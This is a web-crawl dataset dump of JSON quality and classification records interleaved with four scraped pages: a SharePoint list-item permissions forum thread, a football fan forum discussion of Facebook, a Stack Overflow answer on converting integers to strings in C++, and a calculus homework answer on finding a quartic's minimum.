{ "red_pajama_v2": { "ccnet_original_length": 10443, "ccnet_original_nlines": 348, "rps_doc_curly_bracket": 0.0017236400162801147, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.059864651411771774, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.011452370323240757, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.26392504572868347, "rps_doc_frac_unique_words": 0.38966789841651917, "rps_doc_mean_word_length": 6.312915325164795, "rps_doc_num_sentences": 108, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.5711588859558105, "rps_doc_word_count": 1355, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.041384149342775345, "rps_doc_frac_chars_dupe_6grams": 0.041384149342775345, "rps_doc_frac_chars_dupe_7grams": 0.030862750485539436, "rps_doc_frac_chars_dupe_8grams": 0.01613279990851879, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.02583586983382702, "rps_doc_frac_chars_top_3gram": 0.01893850974738598, "rps_doc_frac_chars_top_4gram": 0.005143790040165186, "rps_doc_books_importance": -876.6693115234375, "rps_doc_books_importance_length_correction": -876.6693115234375, "rps_doc_openwebtext_importance": -494.2611389160156, "rps_doc_openwebtext_importance_length_correction": -494.2611389160156, "rps_doc_wikipedia_importance": -339.6619567871094, "rps_doc_wikipedia_importance_length_correction": -339.6619567871094 }, "fasttext": { "dclm": 0.3768799304962158, "english": 0.013728739693760872, "fineweb_edu_approx": 1.3591755628585815, "eai_general_math": 0.002440039999783039, "eai_open_web_math": 0.1949824094772339, "eai_web_code": 0.3319001793861389 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "1", "label": "Factual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,993,467,539,641,297,400
Logo  Search: MOSS Forum Ask Question   UnAnswered Home » Forum » MOSS       RSS Feeds MOSS 2007 Permissions   Date: Nov 01    Category: MOSS    Views: 549 I am building a list for a customer. The customer wants to assign permissions to their employees such that an employee can access one item in the list only... no access to any other list data. I broke inheritance and gave permissions to individual list items to select employees (one employee per item). I made sure that ALL employees were in a group that had read access to all lookup lists. So far, every employee gets "access denied" when attempting to open their list item. Are we missing something? Share:    2 Answers Found   Answer #1    Answered On: Nov 01     It's almost impossible and very time consuming to do this. You can try one of these solutions: stackoverflow.com/.../programatically-add-user-permission-to\ -a-list-in-sharepoint sharepoint.stackexchange.com/.../sharepoint-list-item-permiss\ ions (Once you broke perm inheritance, you have opened another can of worms.)   Answer #2    Answered On: Nov 01     You mentioned all users were in a group (I'm assuming a SharePoint group). How about an impersonation step to remove the user from the group after submission? I'm not sure if it has a step for removing users from a group but it's seems like it's worth investigating.   Didn't find what you were looking for? Find more on MOSS 2007 Permissions Or get search suggestion and latest updates. Tagged:          
{ "url": "http://www.go4sharepoint.com/Forum/moss-2007-permissions-24352.aspx", "source_domain": "www.go4sharepoint.com", "snapshot_id": "crawl=CC-MAIN-2017-43", "warc_metadata": { "Content-Length": "27275", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:OIFF4IFS4U3K7N7W5Y3KJT557B237OS7", "WARC-Concurrent-To": "<urn:uuid:5458cff9-c1b1-4f49-a271-8aea8a4b81a2>", "WARC-Date": "2017-10-24T00:35:34Z", "WARC-IP-Address": "198.252.71.136", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:HENL6AZLCZUMCWRV3ZXKRKFA7HF5C6BV", "WARC-Record-ID": "<urn:uuid:b2f85b12-917a-4d06-9f3b-c81e35f7fdae>", "WARC-Target-URI": "http://www.go4sharepoint.com/Forum/moss-2007-permissions-24352.aspx", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:af9b7d7c-c424-45c3-ad90-797e135acb7a>" }, "warc_info": "robots: classic\r\nhostname: ip-10-165-76-76.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-43\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for October 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 6, 14, 15, 26, 27, 53, 89, 90, 112, 113, 160, 161, 198, 199, 272, 349, 355, 356, 432, 467, 468, 543, 557, 558, 632, 643, 644, 670, 671, 679, 680, 682, 683, 699, 700, 702, 739, 740, 799, 800, 836, 898, 920, 983, 988, 989, 1062, 1063, 1065, 1102, 1103, 1182, 1262, 1339, 1370, 1371, 1373, 1492, 1493, 1494, 1495, 1496, 1510, 1511, 1513 ], "line_end_idx": [ 6, 14, 15, 26, 27, 53, 89, 90, 112, 113, 160, 161, 198, 199, 272, 349, 355, 356, 432, 467, 468, 543, 557, 558, 632, 643, 644, 670, 671, 679, 680, 682, 683, 699, 700, 702, 739, 740, 799, 800, 836, 898, 920, 983, 988, 989, 1062, 1063, 1065, 1102, 1103, 1182, 1262, 1339, 1370, 1371, 1373, 1492, 1493, 1494, 1495, 1496, 1510, 1511, 1513, 1514 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1514, "ccnet_original_nlines": 65, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.34090909361839294, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03896104171872139, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2175324708223343, "rps_doc_frac_unique_words": 0.6103895902633667, "rps_doc_mean_word_length": 4.935064792633057, "rps_doc_num_sentences": 20, "rps_doc_symbol_to_word_ratio": 0.016233770176768303, "rps_doc_unigram_entropy": 4.744176864624023, "rps_doc_word_count": 231, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.013157890178263187, "rps_doc_frac_chars_top_3gram": 0.03333333134651184, "rps_doc_frac_chars_top_4gram": 0.021052630618214607, "rps_doc_books_importance": -122.66773223876953, "rps_doc_books_importance_length_correction": -112.68053436279297, "rps_doc_openwebtext_importance": -83.79145050048828, "rps_doc_openwebtext_importance_length_correction": -83.79145050048828, "rps_doc_wikipedia_importance": -57.84834671020508, "rps_doc_wikipedia_importance_length_correction": -45.342445373535156 }, "fasttext": { "dclm": 0.044355329126119614, "english": 0.9140326976776123, "fineweb_edu_approx": 0.9415582418441772, "eai_general_math": 0.004423560108989477, "eai_open_web_math": 0.155805766582489, "eai_web_code": 0.00013924000086262822 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.445", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.776", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "2", "label": "Click Here References" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
8,423,643,801,905,577,000
Another self-absorbed victim of social media Discussion in 'Tennessee Titans and NFL Talk' started by avvie, Feb 10, 2011. Thread Status: Not open for further replies. 1. steverife steverife Starter 3,949 1,358 469 I like facebook. It is one of several outlets, and probably the most effective, to stay in touch with my racing friends/acqauintances. You can get something done in a few seconds that would have taken hours of legwork 10 years ago. #21 2. avvie avvie Simply one Hell of a butler Tip Jar Donor 10,177 1,383 829 The point of all this is that just because you have the means to dispense "news" worldwide immediately doesn't mean that it's a good idea to do so. Po' 'ol Seto got vetoed. #22 3. nickmsmith nickmsmith Most poverty RB core. 13,321 5,780 869 It is not inherently evil, Like I said about cell phones too, they have saved lives. But it has become a monster. I am incredibly sick about (mostly women) complaining about their lives constantly. "UGHHH Casey is playing XBOX again and not paying any attention to me FML" I saw this status about 10x a day at one point. I'm glad Casey is smart enough to stay away from facebook or he would have ditched his GF by now. It invites unnecessary things into our lives, and personally I don't want to hear everyone's every thought. It is nice/sad to see how fat all the chicks from high school got, though (depending on who it was). And I've seen full-on arguments with 5 or more people on facebook statuses. Facebook is ultimately a good idea. It has rendered class reunions obsolete (always a good thing) But it has been turned to the uses of evil. #23 4. steverife steverife Starter 3,949 1,358 469 The people that tend to do that get hidden. Problem solved. #24 Thread Status: Not open for further replies.
{ "url": "http://gotitans.com/threads/another-self-absorbed-victim-of-social-media.69205/page-3", "source_domain": "gotitans.com", "snapshot_id": "crawl=CC-MAIN-2016-26", "warc_metadata": { "Content-Length": "67393", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:E3HTQ37SKE6LADEZEXSACE4RAXBY2CZC", "WARC-Concurrent-To": "<urn:uuid:17e504a8-0f14-4b5b-b071-861981150d35>", "WARC-Date": "2016-06-29T11:07:46Z", "WARC-IP-Address": "23.88.111.51", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:SWLVJP2FWDJI24EL3FCLTPA4DDXTNK37", "WARC-Record-ID": "<urn:uuid:ab1fd159-feb0-4452-9f15-55efe9cd0b9f>", "WARC-Target-URI": "http://gotitans.com/threads/another-self-absorbed-victim-of-social-media.69205/page-3", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:8f55fa38-9087-44f2-9ed1-8f82050ccd10>" }, "warc_info": "robots: classic\r\nhostname: ip-10-164-35-72.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-26\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for June 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 45, 46, 124, 125, 140, 170, 185, 186, 208, 209, 219, 229, 237, 473, 481, 492, 493, 545, 546, 557, 567, 575, 752, 760, 776, 777, 814, 815, 826, 836, 844, 933, 934, 1051, 1052, 1131, 1132, 1282, 1283, 1496, 1497, 1577, 1578, 1680, 1728, 1736, 1751, 1752, 1774, 1775, 1785, 1795, 1803, 1867, 1875, 1890 ], "line_end_idx": [ 45, 46, 124, 125, 140, 170, 185, 186, 208, 209, 219, 229, 237, 473, 481, 492, 493, 545, 546, 557, 567, 575, 752, 760, 776, 777, 814, 815, 826, 836, 844, 933, 934, 1051, 1052, 1131, 1132, 1282, 1283, 1496, 1497, 1577, 1578, 1680, 1728, 1736, 1751, 1752, 1774, 1775, 1785, 1795, 1803, 1867, 1875, 1890, 1919 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1919, "ccnet_original_nlines": 56, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3589108884334564, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03217821940779686, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2524752616882324, "rps_doc_frac_unique_words": 0.6518987417221069, "rps_doc_mean_word_length": 4.382911205291748, "rps_doc_num_sentences": 25, "rps_doc_symbol_to_word_ratio": 0.009900989942252636, "rps_doc_unigram_entropy": 5.10873556137085, "rps_doc_word_count": 316, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.10397112369537354, "rps_doc_frac_chars_dupe_6grams": 0.10397112369537354, "rps_doc_frac_chars_dupe_7grams": 0.05198556184768677, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.008664259687066078, "rps_doc_frac_chars_top_3gram": 0.02166065014898777, "rps_doc_frac_chars_top_4gram": 0.027436820790171623, "rps_doc_books_importance": -173.9129638671875, "rps_doc_books_importance_length_correction": -173.91294860839844, "rps_doc_openwebtext_importance": -94.65876770019531, "rps_doc_openwebtext_importance_length_correction": -94.65876770019531, "rps_doc_wikipedia_importance": -56.32656478881836, "rps_doc_wikipedia_importance_length_correction": -56.32656478881836 }, "fasttext": { "dclm": 0.0329594612121582, "english": 0.9644303321838379, "fineweb_edu_approx": 1.3930141925811768, "eai_general_math": 0.027734460309147835, "eai_open_web_math": 0.12713587284088135, "eai_web_code": 0.002007960109040141 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "303.48", "labels": { "level_1": "Social sciences", "level_2": "", "level_3": "Social sciences — Dictionaries" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "5", "label": "Comment Section" }, "secondary": { "code": "18", "label": "Q&A Forum" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "2", "label": "Partially Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,193,947,625,840,412,400
Dismiss Announcing Stack Overflow Documentation We started with Q&A. Technical documentation is next, and we need your help. Whether you're a beginner or an experienced developer, you can contribute. Sign up and start helping → Learn more about Documentation → Possible Duplicate: How to convert a number to string and vice versa in C++ In C++ how do you convert a hexadecimal integer into a string representation of the decimal value of the original hex? Let us say we have an integer whose hexadecimal representation is a1a56 (which in decimal equals 662102) and you want to convert this to a string "662102" How would you solve this? ps: i suggest a functional solution as an answer, feel free to shoot it down (in a polite manner, if possible) share|improve this question marked as duplicate by R. Martinho Fernandes, Mysticial, jogojapan, Mac, Kevin Oct 16 '12 at 2:04 This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.      So the hexadecimal number is orignally what type? String? int? If it's originally int then just print it out. – nhahtdh Oct 12 '12 at 2:30      @nhahtdh it is int BUT i do not want to print it out, i need to manipulate the string after (let us say i am putting together a query for mysql). thanx 4 the input! – tony gil Oct 12 '12 at 2:39 3   @tonygil then it is not an "hexadecimal integer". It's an integer. Numbers have no bases. Representations do. – R. Martinho Fernandes Oct 12 '12 at 2:39      @R.MartinhoFernandes i was just editing as per your suggestion. but you override me big time! thanx for the help clarifying the question. the only problem is that, even though it is technically correct, people search for the original title: "How to convert hex to string" (that's what's going on google). – tony gil Oct 12 '12 at 2:45 1   @tony there's no "specific situation" at hand here. It's the same thing, except for a misunderstanding of the concept of number. Feel free to rollback to the old text if you think that helps with search. – R. Martinho Fernandes Oct 12 '12 at 2:53 up vote 2 down vote accepted You can use stringstreams: int x = 0xa1a56; std::stringstream ss; ss << x; cout << ss.str(); Or if you prefer a function: std::string convert_int(int n) { std::stringstream ss; ss << n; return ss.str(); } Edit: Make sure you #include <sstream> share|improve this answer You can read the number from a string stream as hex, and write it back to a different string stream as decimal: int x; istringstream iss("a1a56"); iss >> hex >> x; ostringstream oss; oss << x; string s(oss.str()); Link to ideone. share|improve this answer The simplest way of doing this, using the latest version of the C++ Standard (C++11), is to use the std::to_string function: #include <iostream> #include <string> int main() { /* Convert: */ std::string s { std::to_string(0xa1a56) }; /* Print to confirm correctness: */ std::cout << s << std::endl; return 0; } share|improve this answer std::string HexDec2String(int hexIn) { char hexString[4*sizeof(int)+1]; // returns decimal value of hex sprintf(hexString,"%i", hexIn); return std::string(hexString); } share|improve this answer 2   char hexString[4*sizeof(int)+1]; should be enough. – R. Martinho Fernandes Oct 12 '12 at 2:39 Not the answer you're looking for? Browse other questions tagged or ask your own question.
{ "url": "http://stackoverflow.com/questions/12851379/c-how-do-i-convert-hex-integer-to-string", "source_domain": "stackoverflow.com", "snapshot_id": "crawl=CC-MAIN-2016-30", "warc_metadata": { "Content-Length": "87440", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:B3BLBTZLHZXNZ5USWGUS3ASJ2HY7NVKP", "WARC-Concurrent-To": "<urn:uuid:3b6b0595-62d6-4169-835e-30715e37ecab>", "WARC-Date": "2016-07-28T15:25:25Z", "WARC-IP-Address": "151.101.1.69", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:SIMOJXRV6TTP6OXU65RRHPPMHPNMNUS4", "WARC-Record-ID": "<urn:uuid:438213f9-f0dd-436c-ab38-87cf98df14c4>", "WARC-Target-URI": "http://stackoverflow.com/questions/12851379/c-how-do-i-convert-hex-integer-to-string", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:000be0aa-1258-4a93-9c9f-80dae0f3e457>" }, "warc_info": "robots: classic\r\nhostname: ip-10-185-27-174.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-30\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for July 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 8, 48, 49, 126, 127, 202, 203, 264, 265, 285, 341, 342, 461, 462, 617, 618, 644, 645, 756, 757, 785, 786, 884, 885, 1028, 1029, 1034, 1173, 1178, 1373, 1377, 1530, 1535, 1870, 1874, 2121, 2150, 2151, 2178, 2179, 2196, 2218, 2227, 2245, 2246, 2275, 2276, 2307, 2309, 2334, 2346, 2366, 2368, 2369, 2408, 2409, 2435, 2436, 2548, 2549, 2556, 2584, 2601, 2620, 2630, 2651, 2652, 2668, 2669, 2695, 2696, 2821, 2822, 2842, 2860, 2861, 2872, 2874, 2891, 2936, 2937, 2975, 3006, 3018, 3020, 3046, 3085, 3120, 3154, 3189, 3222, 3224, 3250, 3254, 3348, 3349 ], "line_end_idx": [ 8, 48, 49, 126, 127, 202, 203, 264, 265, 285, 341, 342, 461, 462, 617, 618, 644, 645, 756, 757, 785, 786, 884, 885, 1028, 1029, 1034, 1173, 1178, 1373, 1377, 1530, 1535, 1870, 1874, 2121, 2150, 2151, 2178, 2179, 2196, 2218, 2227, 2245, 2246, 2275, 2276, 2307, 2309, 2334, 2346, 2366, 2368, 2369, 2408, 2409, 2435, 2436, 2548, 2549, 2556, 2584, 2601, 2620, 2630, 2651, 2652, 2668, 2669, 2695, 2696, 2821, 2822, 2842, 2860, 2861, 2872, 2874, 2891, 2936, 2937, 2975, 3006, 3018, 3020, 3046, 3085, 3120, 3154, 3189, 3222, 3224, 3250, 3254, 3348, 3349, 3439 ] }
{ "red_pajama_v2": { "ccnet_original_length": 3439, "ccnet_original_nlines": 96, "rps_doc_curly_bracket": 0.0023262600880116224, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3185840845108032, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.015170670114457607, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3059418499469757, "rps_doc_frac_unique_words": 0.47985348105430603, "rps_doc_mean_word_length": 4.666666507720947, "rps_doc_num_sentences": 36, "rps_doc_symbol_to_word_ratio": 0.003792670089751482, "rps_doc_unigram_entropy": 5.194431781768799, "rps_doc_word_count": 546, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.04984300956130028, "rps_doc_frac_chars_dupe_6grams": 0.048665620386600494, "rps_doc_frac_chars_dupe_7grams": 0.048665620386600494, "rps_doc_frac_chars_dupe_8grams": 0.03532182052731514, "rps_doc_frac_chars_dupe_9grams": 0.024332810193300247, "rps_doc_frac_chars_top_2gram": 0.010989010334014893, "rps_doc_frac_chars_top_3gram": 0.016483519226312637, "rps_doc_frac_chars_top_4gram": 0.021193090826272964, "rps_doc_books_importance": -285.52935791015625, "rps_doc_books_importance_length_correction": -285.52935791015625, "rps_doc_openwebtext_importance": -190.65487670898438, "rps_doc_openwebtext_importance_length_correction": -190.65487670898438, "rps_doc_wikipedia_importance": -118.08822631835938, "rps_doc_wikipedia_importance_length_correction": -118.08822631835938 }, "fasttext": { "dclm": 0.6555011868476868, "english": 0.817766547203064, "fineweb_edu_approx": 1.8102484941482544, "eai_general_math": 0.03811568021774292, "eai_open_web_math": 0.27508580684661865, "eai_web_code": 0.002573489909991622 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.0151", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "5", "label": "Social/Forum" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "1", "label": "Leftover HTML" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
9,128,607,972,526,077,000
What is the minimum value of the function f(x) = 18x^4 + 16x^2 - 16 3 Answers | Add Yours kingattaskus12's profile pic kingattaskus12 | (Level 3) Adjunct Educator Posted on We can use Calculus to determine the minimum value of the equation. We are required to find the values of` x` where the first derivative`f'(x)=0` because the slope of the line at maximum and minimum point is zero. Moreover, to determine if the point on the graph is a minimum point, the second derivative `f''(a)` must be positive to state that the concavity at that point is upward(the point `a` is the lowest point in the graph) assuming that `x=a` is the solution of `f'(x) = 0` Now, if we take the first derivative of the equation, we get `f'(x) = d/dx[18x^4+16x^2-16]` `f'(x) = 18*d/dx(x^4)+16*d/dx(x^2)-d/dx(16)`  `f'(x)=18*4(x^(4-1))+16*2(x^(2-1))-0` `f'(x) = 72x^3+32x` Then, `f'(x) = 72x^3+32x` `=0` `x(72x^2+32)=0` This shows that the only real solution is `x=0` The second derivative will be `f''(x)=d/dx(72x^3+32x)` `f''(x) = 72*3(x^(3-1))+32(1)` `f''(x) =216x^2+32` Then,  `f''(0) = 216(0)^2+32=32` which is positive Thus, it shows that the minimum point of the function `f(x) = 18x^4+16x^2-16` has a minimum point at `x=0` . At `x=0` , `f(0) = 18(0)^4+16(0)^2-16 = -16` Therefore, the minimum point on the graph is at `(0,-16).` justaguide's profile pic justaguide | College Teacher | (Level 2) Distinguished Educator Posted on The minimum value of a function f(x) can be determined using calculus. The function has an extreme value at the point where the first derivative f'(x) = 0. In addition, if x = a is the solution of f'(x) = 0, f''(a) should be positive. For the function f(x) = 18x^4 + 16x^2 - 16, f'(x) = 72*x^3 + 32x 72*x^3 + 32x = 0 => x*(72x^2 + 32) = 0 The only real solution of this equation is x = 0. The second derivative f''(x) = 216x^2 + 32. At x = 0, f''(0) = 32 which is positive. The function f(x) = 18x^4 + 16x^2 - 16 has a minimum at x = 0. The value of the function at x = 0 is -16. The minimum value of f(x) = 18x^4 + 16x^2 - 16 is -16. tonys538's profile pic tonys538 | Student, Undergraduate | (Level 1) Valedictorian Posted on The minimum value of the function f(x) = 18x^4 + 16x^2 - 16 has to be determined. One way of doing this is by using calculus. Another way of doing the same is by rewriting the given function as a polynomial with a square of the variable. The square of a real number cannot be negative and as a result its minimum value is 0. f(x) = 18x^4 + 16x^2 - 16 = x^2*(18x^2 + 16) - 16 Now, x^2 has a minimum value of 0 and 18x^2 + 16 has a minimum value of 16. The minimum value of the product is 0. This gives the minimum value of x^2*(18x^2 + 16) - 16 as -16. The minimum value of f(x) = 18x^4 + 16x^2 - 16 is -16. We’ve answered 318,926 questions. We can answer yours, too. Ask a question
{ "url": "https://www.enotes.com/homework-help/what-minimum-value-function-f-x-18x-4-16x-2-16-463593", "source_domain": "www.enotes.com", "snapshot_id": "crawl=CC-MAIN-2016-50", "warc_metadata": { "Content-Length": "54041", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:3FAYCGTAKXCHHNJWY6MA4IAPM55OBS6O", "WARC-Concurrent-To": "<urn:uuid:98d6309f-d721-40d5-a265-082e46d3a3bf>", "WARC-Date": "2016-12-06T04:05:40Z", "WARC-IP-Address": "52.203.51.157", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:QHTBBYWHKPWC7LHVAHOCFCAGU6Q2J3WY", "WARC-Record-ID": "<urn:uuid:c2cd8b07-8634-4492-a6f0-c885d22877f2>", "WARC-Target-URI": "https://www.enotes.com/homework-help/what-minimum-value-function-f-x-18x-4-16x-2-16-463593", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:1031c36a-b7e7-433e-8c4d-157453ee5df4>" }, "warc_info": "robots: classic\r\nhostname: ip-10-31-129-80.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-50\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for November 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
